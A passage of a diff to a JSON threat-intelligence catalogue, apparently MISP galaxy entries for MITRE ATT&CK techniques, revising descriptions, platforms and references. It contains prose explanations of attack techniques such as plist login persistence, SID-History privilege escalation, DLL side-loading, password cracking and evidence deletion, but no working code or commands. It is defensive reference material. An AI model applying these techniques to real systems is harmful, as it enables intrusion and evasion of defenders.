it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", - "meta": { - "external_id": "T1481.003", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1481/003" - ] - }, - "related": [ - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "type": "subtechnique-of" - } - ], - "uuid": "d916f176-a1ca-4a78-9fdd-4058bc28162e", - "value": "One-Way Communication - T1481.003" - }, { "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", "meta": { @@ -16352,7 +14709,7 @@ "value": "AS-REP Roasting - T1558.004" }, { - "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.", + "description": "Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "meta": { "external_id": "T1547.007", "kill_chain": [ @@ -16368,8 +14725,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1547/007", - "https://support.apple.com/en-us/HT204005", - "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ] }, @@ -16423,12 +14778,6 @@ "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "meta": { "external_id": "CAPEC-641", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1073", "https://capec.mitre.org/data/definitions/641.html", @@ -16463,46 +14812,14 @@ "https://attack.mitre.org/techniques/T1605" ] }, - "related": [ - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "value": "Command-Line Interface - T1605" }, - { - "description": "Adversaries may generate network traffic using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", - "meta": { - "external_id": "T1509", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1509" - ] - }, - "uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", - "value": "Non-Standard Port - T1509" - }, { "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "meta": { "external_id": "T1164", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1164", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" @@ -16551,12 +14868,6 @@ "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", "meta": { "external_id": "T1178", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://adsecurity.org/?p=1772", "https://attack.mitre.org/techniques/T1178", @@ -16583,14 +14894,6 @@ "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "meta": { "external_id": "T1188", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1188" ] @@ -16608,7 +14911,7 @@ "value": "Multi-hop Proxy - T1188" }, { - "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)", "meta": { "external_id": "T1189", "kill_chain": [ @@ -16655,8 +14958,7 @@ "mitre_platforms": [ "Linux", "Windows", - "Network", - "macOS" + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1542", @@ -16668,7 +14970,7 @@ "value": "Pre-OS Boot - T1542" }, { - "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Lookout-StealthMango)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.", + "description": "As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\n(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)", "meta": { "external_id": "CEL-22", "kill_chain": [ @@ -16680,15 +14982,15 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1456", - "https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf", + "https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/", "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html" ] }, "uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", - "value": "Drive-By Compromise - T1456" + "value": "Drive-by Compromise - T1456" }, { - "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "meta": { "external_id": "T1559", "kill_chain": [ @@ -16696,19 +14998,16 @@ ], "mitre_data_sources": [ "Module: Module Load", - "Process: Process Access", "Process: Process Creation", "Script: Script Execution" ], "mitre_platforms": [ "Windows", - "macOS", - "Linux" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1559", - "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", - "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them." + "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" ] }, "uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", @@ -16798,7 +15097,7 @@ "value": "Junk Data - T1001.001" }, { - "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", + "description": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised network infrastructure. Traffic mirroring is a native feature for some network devices and used for network analysis and may be configured to duplicate traffic and forward to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring) (Citation: Juniper Traffic Mirroring)\n\nAdversaries may abuse traffic mirroring to mirror or redirect network traffic through other network infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "meta": { "external_id": "CAPEC-117", "kill_chain": [ @@ -17018,7 +15317,7 @@ "value": "Proc Filesystem - T1003.007" }, { - "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows and rm or unlink on Linux and macOS.", + "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", "meta": { "external_id": "T1070.004", "kill_chain": [ @@ -17034,8 +15333,8 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1070/004", - "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", + "https://attack.mitre.org/techniques/T1070/004" ] }, "related": [ @@ -17078,7 +15377,7 @@ "value": "Domain Fronting - T1090.004" }, { - "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", "meta": { "external_id": "CAPEC-49", "kill_chain": [ @@ -17097,14 +15396,12 @@ "Linux", "macOS", "Google Workspace", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1110/001", "https://capec.mitre.org/data/definitions/49.html", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi", + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "https://www.us-cert.gov/ncas/alerts/TA18-086A" ] }, @@ -17118,7 +15415,7 @@ "value": "Password Guessing - T1110.001" }, { - "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", + "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "meta": { "external_id": "CAPEC-55", "kill_chain": [ @@ -17133,14 +15430,12 @@ "macOS", "Windows", "Office 365", - "Azure AD", - "Network" + "Azure AD" ], "refs": [ "https://attack.mitre.org/techniques/T1110/002", "https://capec.mitre.org/data/definitions/55.html", - "https://en.wikipedia.org/wiki/Password_cracking", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://en.wikipedia.org/wiki/Password_cracking" ] }, "related": [ @@ -17320,7 +15615,7 @@ "value": "Malicious Link - T1204.001" }, { - "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "meta": { "external_id": "T1205.001", "kill_chain": [ @@ -17437,7 +15732,7 @@ "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", + "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/", "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf" ] @@ -17621,7 +15916,6 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "Process: OS API Execution", "Process: Process Creation" ], "mitre_platforms": [ @@ -17644,7 +15938,7 @@ "value": "Local Account - T1087.001" }, { - "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "meta": { "external_id": "T1204.002", "kill_chain": [ @@ -17660,8 +15954,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1204/002", - "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/" + "https://attack.mitre.org/techniques/T1204/002" ] }, "related": [ @@ -17674,7 +15967,7 @@ "value": "Malicious File - T1204.002" }, { - "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) ", + "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ", "meta": { "external_id": "CAPEC-570", "kill_chain": [ @@ -17685,13 +15978,12 @@ ], "mitre_platforms": [ "macOS", - "Windows", - "Linux" + "Windows" ], "refs": [ + "http://en.wikipedia.org/wiki/Executable_compression", "https://attack.mitre.org/techniques/T1027/002", "https://capec.mitre.org/data/definitions/570.html", - "https://github.com/dhondta/awesome-executable-packing", "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" ] }, @@ -17739,88 +16031,6 @@ "uuid": 